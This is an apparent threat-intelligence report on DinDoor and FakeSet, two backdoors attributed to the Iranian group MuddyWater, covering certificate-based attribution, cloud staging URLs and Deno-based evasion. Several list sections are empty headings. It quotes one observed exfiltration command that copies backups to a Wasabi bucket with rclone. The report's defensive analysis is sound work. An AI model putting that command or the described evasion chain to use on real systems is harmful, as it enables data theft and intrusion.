Iran's MuddyWater Just Dropped Two New Backdoors on U.S. Critical Infrastructure. Here's What We Know.
A technical breakdown of DinDoor and FakeSet — the latest weapons in Seedworm's rapidly expanding arsenal.
Executive Summary
In early March 2026, Broadcom’s Symantec and Carbon Black Threat Hunter Team disclosed two previously unknown malware families — DinDoor (Trojan.Dindoor) and FakeSet (Trojan.Fakeset) — deployed by the Iranian APT group Seedworm (MuddyWater / Temp Zagros / Static Kitten / MOIS-subordinate) against U.S. critical infrastructure, Israeli defense supply chains, and Canadian non-profits. These backdoors represent a tactical evolution: DinDoor introduces Deno-based JavaScript execution as a “Bring Your Own Runtime” (BYOR) evasion strategy, while FakeSet uses Python and abuses legitimate cloud storage for staging. Both families were digitally signed with certificates that forensically link the campaign to Seedworm’s established malware lineage.
This report covers technical architecture, delivery, code-signing attribution, IOCs, MITRE ATT&CK mapping, and context within MuddyWater’s broader 2026 operational tempo.
DinDoor (Trojan.Dindoor)
Naming
The name “DinDoor” derives from the backdoor’s use of Deno — the modern, secure runtime for JavaScript and TypeScript — as its primary execution engine. The “D-in-Door” naming directly references Deno’s role in the execution chain.
Runtime and Execution Architecture
DinDoor leverages Deno, a JavaScript/TypeScript runtime created by Ryan Dahl, to execute commands on infected machines. This is a significant departure from MuddyWater’s traditional reliance on PowerShell-based backdoors like POWERSTATS, .NET malware, or Python-based implants.
The use of Deno provides multiple operational advantages:
EDR blind spot: Most endpoint detection and response platforms are heavily tuned to monitor PowerShell, cmd.exe, WMI, and Python. Deno is a legitimate developer tool that many security products do not flag, creating a detection gap.
BYOR (Bring Your Own Runtime): Analysts have observed a growing trend of APT groups deploying their own runtimes rather than relying on pre-installed interpreters. A recent BYOR analysis demonstrated how attackers deliver Deno via PowerShell if not present, then execute hidden Base64-encoded commands using the
-A(Allow All) flag, granting full system permissions.Memory-resident execution: In observed BYOR chains involving Deno, payloads are fetched in 8KB chunks, reassembled as a Base64 Data URI, and executed directly in memory — leaving zero forensic artifacts on disk.
Cross-platform capability: Deno runs on Windows, macOS, and Linux, giving MuddyWater theoretical flexibility to target heterogeneous environments.
Functionality
Based on the Symantec/Carbon Black advisory, DinDoor provides the following capabilities once embedded:
Persistent access to compromised networks
Arbitrary command execution via the Deno runtime
Data staging and exfiltration support
Code Signing
DinDoor was digitally signed with a certificate issued to “Amy Cherne”. This certificate identity was previously unknown in public threat intelligence but now links DinDoor to FakeSet through shared signing infrastructure.
Deployment and Victimology
DinDoor was discovered on the networks of:
The defense/aerospace software company appears to have been the primary target, with data exfiltration attempts specifically directed at that entity.
Observed Data Exfiltration
Alongside DinDoor deployment, researchers observed an attempted exfiltration using Rclone — an open-source command-line cloud storage management tool — to copy data to a Wasabi cloud storage bucket:
textrclone copy CSIDL_DRIVE_FIXED\backups wasabi:[REMOVED]:/192.168.0.x
It is unknown whether this exfiltration attempt was successful.
FakeSet (Trojan.Fakeset)
Architecture
FakeSet is a Python-based backdoor that operates as an alternative access mechanism within the same Seedworm campaign. While Symantec/Carbon Black has not published a full reverse-engineering report, the backdoor’s delivery mechanism and signing infrastructure have been detailed.
Delivery Infrastructure
FakeSet was downloaded from Backblaze B2 — a legitimate American cloud storage and data backup service. Two specific staging URLs were identified:
gitempire.s3.us-east-005.backblazeb2.com
elvenforest.s3.us-east-005.backblazeb2.com
Abusing Backblaze B2 for payload staging is consistent with MuddyWater’s “living off the cloud” approach, where legitimate cloud infrastructure bypasses URL reputation filters and network-level blocks that would flag attacker-owned hosting.
Code Signing — The Attribution Link
FakeSet was signed with two certificates:
“Amy Cherne” — the same identity used to sign DinDoor, creating a direct forensic link between the two backdoors.
“Donald Gay” — the critical tie to MuddyWater’s historical operations.
The “Donald Gay” certificate was previously used to sign Stagecomp (Trojan.Stagecomp), a loader that downloads the Darkcomp (Trojan.Darkcomp) backdoor. Stagecomp and Darkcomp have been attributed to Seedworm/MuddyWater by Google, Microsoft, and Kaspersky.
Certificate Attribution Chain
Certificate “Amy Cherne”
├── Signs → DinDoor (NEW — Feb 2026)
└── Signs → FakeSet (NEW — Feb 2026)
Certificate “Donald Gay”
├── Signs → FakeSet (NEW — Feb 2026)
├── Signs → Stagecomp (KNOWN Seedworm)
└── Stagecomp downloads → Darkcomp (KNOWN Seedworm)
└── Attributed by Google, Microsoft, Kaspersky
This overlapping certificate chain provides high-confidence attribution to Seedworm. MalwareBazaar first recorded “Amy Cherne”-tagged samples on March 2, 2026, with 9 sightings, and “Donald Gay”-tagged samples the same day with 3 sightings continuing through March 6.
Deployment and Victimology
FakeSet was discovered on:
Context: MuddyWater’s 2026 Malware Arsenal
DinDoor and FakeSet are the latest in a rapid succession of new malware families deployed by MuddyWater in early 2026, reflecting an accelerating development tempo that may involve AI-assisted development.
Operation Olalampo (January 2026)
First observed January 26, 2026, Group-IB documented Operation Olalampo — a parallel MuddyWater campaign deploying four additional malware families:
CHAR’s source code showed signs of AI-assisted development — emoji debug strings consistent with generative AI tool usage — aligning with Google’s prior reporting that MuddyWater experiments with LLMs for malware development.
Group-IB accessed the HTTP_VIP C2 server-side source code — a Flask app with an SQLite database — because infrastructure was misconfigured with an exposed Python SimpleHTTP open directory.
Exposed VPS Infrastructure (Ctrl-Alt-Intel)
In parallel, the Ctrl-Alt-Intel research collective accessed a Netherlands-hosted VPS used by MuddyWater, recovering C2 tooling, scripts, logs, victim data, and operational artifacts. Their analysis revealed:
12+ CVEs actively exploited, including novel SQL injection vulnerabilities
Ethereum-based C2 resolution (EtherHiding) — embedding C2 addresses in blockchain smart contracts to resist takedowns
Password spraying campaigns at scale
Multiple custom C2 frameworks running simultaneously
Multiple exfiltration channels spanning cloud storage and AWS EC2 instances
Additional victims identified: Israeli healthcare, hosting, immigration, and intelligence organizations; EgyptAir; Jordanian government entities; UAE companies; U.S. entities; and Jewish/Israeli-linked NGOs.
MuddyWater Historical Malware Evolution
This represents at least 7 new or significantly updated malware families in under 8 weeks of 2026 activity.
Indicators of Compromise
File Hashes — Trojan.Dindoor
File Hashes — Trojan.Fakeset
Digital Certificate Signers
Analytical Assessment
What Is Known
DinDoor and FakeSet are confirmed new Seedworm tools deployed against U.S. and Israeli targets starting February 2026.
Certificate reuse provides high-confidence attribution to Seedworm/MuddyWater.
The campaign’s purpose is assessed as espionage, with observed data exfiltration attempts.
Symantec states it has “disrupted these breaches” but warns other organizations may remain vulnerable.
What Is Unknown
Initial access vector: How Seedworm gained entry to these networks has not been disclosed. MuddyWater historically uses phishing, exploitation of public-facing applications (e.g., SharePoint CVE-2025-53770), and password spraying.
Full DinDoor command set: No public reversing report details the full C2 protocol, supported commands, or persistence mechanism beyond “leverages Deno to execute”.
FakeSet internals: Similarly, FakeSet’s full capabilities, C2 protocol, and persistence mechanism have not been publicly detailed beyond “Python-based backdoor”.
Exfiltration success: Whether the Rclone-to-Wasabi data theft was completed is unknown.
Strategic Implications
Seedworm’s pre-positioning on U.S. bank, airport, defense supplier, and NGO networks before the February 28, 2026 U.S.-Israeli military strikes on Iran means the group held latent access that could be pivoted from espionage to destructive operations. Symantec explicitly warned that this positioning is “potentially dangerous” given the ongoing conflict. Iran has a documented history of destructive wiper attacks (Shamoon, ZeroCleare, BibiWiper) that leverage pre-existing espionage access.
The operational tempo — 7+ new malware families in under 8 weeks — combined with AI-assisted development indicators and diversified C2 infrastructure (Telegram bots, Ethereum blockchain, cloud storage, EC2 instances) signals that MuddyWater is operating at its most capable and aggressive level to date.